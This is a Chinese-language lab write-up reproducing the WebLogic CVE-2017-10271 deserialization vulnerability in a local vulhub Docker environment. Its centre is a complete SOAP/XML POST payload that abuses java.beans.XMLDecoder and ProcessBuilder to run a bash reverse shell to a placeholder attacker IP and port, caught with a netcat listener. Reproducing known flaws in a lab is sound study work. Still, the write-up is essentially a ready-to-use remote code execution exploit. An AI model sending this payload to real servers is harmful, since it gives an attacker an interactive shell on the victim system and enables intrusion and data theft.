0x00:环境
1、docker
2、vulhub-master
3、burpsuite和netcat
0x01:复现
1、进入/vulhub-master/weblogic/CVE-2017-10271文件夹下,使用docker搭建环境:
dokcer-compose up -d
环境搭建完成之后默认访问http://127.0.0.1:7001,呈现404页面如下结果:
访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType呈现如下页面,表示存在漏洞
漏洞复现过程:
1、首先攻击机打开nc进行端口监听:
2、使用POST方法对http://127.0.0.1:7001/wls-wsat/CoordinatorPortType提交如下数据:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
而且在请求头中要修改Content-Type
的对应值为text/xml
,否则提交会出现问题,提交之后的结果:
这时,再nc已经顺利监听到了反弹回来的shell:
后记:待补充,中文乱码是因为windows和Linux编码不同。